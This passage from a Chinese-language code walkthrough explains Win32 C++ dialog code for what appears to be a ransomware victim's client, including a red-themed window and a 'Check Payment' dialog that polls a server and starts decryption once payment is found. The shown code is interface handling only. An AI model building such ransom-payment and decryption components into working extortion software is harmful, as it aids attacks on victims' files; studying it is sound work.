* 第770到第772行，接收目錄，並紀錄接收目錄數量。
* 第774到第783行，接收檔名，並紀錄接收檔名數量，並利用SendMessage將檔名傳送給ListBox。
```cpp=787
        case IDC_DECQUEUE_DONE:
        {
            EnableWindow(hWndStart, TRUE);
            break;
        }
        default:
            break;
        }
        break;
    }
    case WM_CTLCOLORDLG:
        return (INT_PTR)hBkBrush;
    case WM_CTLCOLORSTATIC:
    {
        HDC hdcStatic = (HDC)wParam;
        HWND hWndStatic = (HWND)lParam;
        SetBkColor(hdcStatic, RGB(128, 0, 0));
        SetTextColor(hdcStatic, RGB(255, 255, 255));
        return (INT_PTR)((HBRUSH)GetStockObject(NULL_BRUSH));
    }
    case WM_CLOSE:
        DeleteObject(hBkBrush);
        DeleteObject(hFont);
        EndDialog(hDlg, LOWORD(wParam));
        return (INT_PTR)TRUE;
    }
    return (INT_PTR)FALSE;
}
```
* 第797及第798行，將背景設為紅色，故回傳紅色筆刷
* 第799到第805行，所有控制元件都設定為白色文字，回傳NULL_BRUSH，即透明元件。
```cpp=815
// Message handler for Check Payment Dialog.
INT_PTR CALLBACK CheckPaymentDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    UNREFERENCED_PARAMETER(lParam);
    static HWND hWndPB = NULL;
    static ULONG nMsgID = IDS_CHECKPAYMENTFAIL;
    switch (message)
    {
    case WM_INITDIALOG:
    {
        hWndPB = GetDlgItem(hDlg,
            IDC_CHECKPAYMENTPROGRESS);
        SendMessage(hWndPB,
            PBM_SETRANGE, 0, MAKELPARAM(1, 254));
        SendMessage(hWndPB,
            PBM_SETSTEP, (WPARAM)1, 0);
        HANDLE hThread = CreateThread(
            NULL,
            0,
            DecryptClientThread,
            hDlg,
            0,
            NULL);
        if (hThread) {
            CloseHandle(hThread);
            hThread = NULL;
        }       return (INT_PTR)TRUE;
    }
    case WM_COMMAND:
    {
        int wmId = LOWORD(wParam);
        // Parse the menu selections:
        switch (wmId)
        {
        case IDC_CANCEL_BUTTON:
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        break;
    }
    case WM_USER:
        switch (wParam) {
        case IDC_SCAN_SERVER:
            SendMessage(hWndPB,
                PBM_SETPOS, (WPARAM)lParam, 0);
            return (INT_PTR)TRUE;
        case IDC_SCAN_FOUND:
            nMsgID = IDS_CHECKPAYMENTOK;
            return (INT_PTR)TRUE;
        case IDC_SCAN_DONE:
        {
            TCHAR szMsg[MAX_LOADSTRING] = _T("");
            LoadString(hInst, nMsgID, szMsg, MAX_LOADSTRING);
            MessageBox(hDlg, szMsg, _T("Message"), MB_OK);
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        default:
            break;
        }
        
    case WM_CLOSE:
        EndDialog(hDlg, LOWORD(wParam));
        return (INT_PTR)TRUE;
    }
    return (INT_PTR)FALSE;
}

```